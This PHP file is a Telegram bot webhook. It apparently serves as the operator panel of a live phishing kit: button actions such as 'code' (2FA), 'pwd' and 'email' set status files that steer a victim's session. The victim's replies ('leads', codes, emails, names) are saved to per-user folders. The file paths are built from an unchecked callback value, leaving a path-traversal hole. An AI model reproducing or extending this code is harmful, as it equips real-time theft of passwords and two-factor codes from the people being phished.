<?php
header('Content-Type: application/json');
include 'helper.php';


$update = json_decode(file_get_contents('php://input'), true);
$response = []; 

if (isset($update['callback_query'])) {
    $callbackData = $update['callback_query']['data'];
    $callbackId = $update['callback_query']['id'];


    answerCallback($callbackId, "You selected: " . $callbackData);


    $parts = explode('_', $callbackData);
    $action = $parts[0]; 
    $uid = $parts[1] ?? 'unknown'; 


    // Define the file path
    $filePath = "status/".$uid.".txt";


    switch ($action) {
        case 'code':
            // Logic for 2fa
            // file_put_contents($filePath, $action);

            send_msg("Reply Text: ".$uid);
            file_put_contents($filePath, "hold");
            file_put_contents("status/uid.txt", $uid);
            file_put_contents("type.txt", 'code');
            break;

        case 'name':
            send_msg("Write name for lead: ".$uid);
            file_put_contents("status/uid.txt", $uid);
            file_put_contents("type.txt", 'name');
            break;

        case 'continue':
            // Logic for calendar
            file_put_contents($filePath, $action);
            break;

        case 'pwd':
            // Logic for thanks
            file_put_contents($filePath, $action);
            break;

        case 'code11111':
            // Logic for clean
            file_put_contents($filePath, "code");
            break;
            
        case 'que':
            // Logic for que
            file_put_contents($filePath, "que");
            break;  

        case 'break':
            // Logic for other
            file_put_contents($filePath, "break");
            break;

        case 'email':
            // Logic for email
            send_msg("Please reply with your email address for: ".$uid);
            file_put_contents($filePath, "hold");
            file_put_contents("status/uid.txt", $uid);
            file_put_contents("type.txt", 'email');
            break;

        default:
            file_put_contents($filePath, $action);
            break;
    }
}



// Handle user replies
if (isset($update['message']) && isset($update['message']['text'])) {
    $userMessage = $update['message']['text'];
    $userId = $update['message']['from']['id'];
    $uid = trim(file_get_contents("status/uid.txt"));
    $type = trim(file_get_contents("type.txt"));

    if($type=="email")
    {
        $filePath = "status/" .$uid.".txt";
        file_put_contents($filePath,"email");
        $emailpath = "emails/" . $uid . ".txt";
        file_put_contents($emailpath,$userMessage);
        send_msg("Email saved for: ".$uid." - ".$userMessage);
    }
    else if($type=="code")
    {
        $filePath = "status/" .$uid.".txt";
        file_put_contents($filePath,"code");
        $emailpath = "code_msg/" . $uid . ".txt";
        file_put_contents($emailpath,$userMessage);
        send_msg("Code Message: ".$uid." - ".$userMessage);
    }
    else if($type=="name")
    {
        $namepath = "names/" . $uid . ".txt";
        file_put_contents($namepath,$userMessage);
        send_msg("Name is: ".$uid." - ".$userMessage);
    }
    else
    {
    }


}



function answerCallback($callbackId, $text) {
include 'CONSTANTS.php';

    $url = "https://api.telegram.org/bot$botToken/answerCallbackQuery";

    $data = [
        'callback_query_id' => $callbackId,
        'text' => $text,
        'show_alert' => false,
    ];

    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ],
    ];

    $context = stream_context_create($options);
    file_get_contents($url, false, $context);
}
?>
